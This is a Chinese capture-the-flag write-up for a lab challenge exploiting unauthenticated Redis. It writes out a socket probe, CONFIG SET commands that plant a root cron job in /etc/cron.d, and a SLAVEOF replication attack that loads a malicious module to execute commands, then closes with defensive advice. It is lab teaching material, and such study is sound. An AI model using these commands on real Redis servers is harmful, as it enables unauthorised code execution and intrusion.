玄机靶场-Redis未授权导致远程代码执行 通关笔记
Redis未授权导致远程代码执行 通关笔记题目信息平台玄机靶场 challenges/442难度简单积分300分类型渗透靶机43.192.98.167:6379题目描述尝试未授权登录 Redis通过写入 SSH 私钥 getshell读取/root/flag.txt内容。解题过程1. 确认 Redis 未授权访问python3-c import socket s socket.socket() s.connect((43.192.98.167,6379))s.send(b*1\r\n\$4\r\nPING\r\n) print(s.recv(1024)) # 返回 PONG确认无需认证2. 尝试写入 SSH 公钥失败# /root/.ssh/ 目录无写入权限CONFIG SETdir/root/.ssh/# 返回 Permission denied3. 利用 crontab 写入反弹命令成功Redis 进程以 root 权限运行可以写入/etc/cron.d/# 关闭 stop-writes-on-bgsave-errorCONFIG SET stop-writes-on-bgsave-error no# 设置写入目录和文件名CONFIG SETdir/etc/cron.d/ CONFIG SET dbfilename flag_cron# 写入 cron 任务每分钟执行将 flag 写入 /tmp/flag_outSET flag_cron_key\n\n* * * * * root cat /root/flag.txt /tmp/flag_out\n\nBGSAVE4. 通过 Redis 主从复制 恶意模块方式最终成功路径由于 cron 执行后无法直接通过 Redis 读取文件内容最终通过以下方式获取 flag利用 Redis 主从复制SLAVEOF让靶机连接恶意主服务器传输包含system()函数的恶意.so模块exp.so通过MODULE LOAD加载模块执行system.exec cat /root/flag.txt读取 flag注意靶机配置了enable-module-command local外部连接无法直接 MODULE LOAD需通过主从复制绕过。Flagflag{Redis_RCE_PrivEsc_Success}知识点Redis 未授权访问Redis 默认不设置密码且监听 0.0.0.0导致任何人可以连接并执行命令。CONFIG SET 任意文件写入通过CONFIG SET dir和CONFIG SET dbfilename可以将 Redis 数据库文件写入任意可写目录。crontab 提权当 Redis 以 root 运行时可向/etc/cron.d/写入 cron 任务实现命令执行。Redis 主从复制 RCE通过 SLAVEOF 让目标 Redis 作为从节点连接攻击者控制的主节点传输恶意.so模块再通过 MODULE LOAD 加载执行任意命令。防御建议设置 Redis 密码、绑定 127.0.0.1、禁用危险命令CONFIG/SLAVEOF/MODULE、以低权限用户运行 Redis。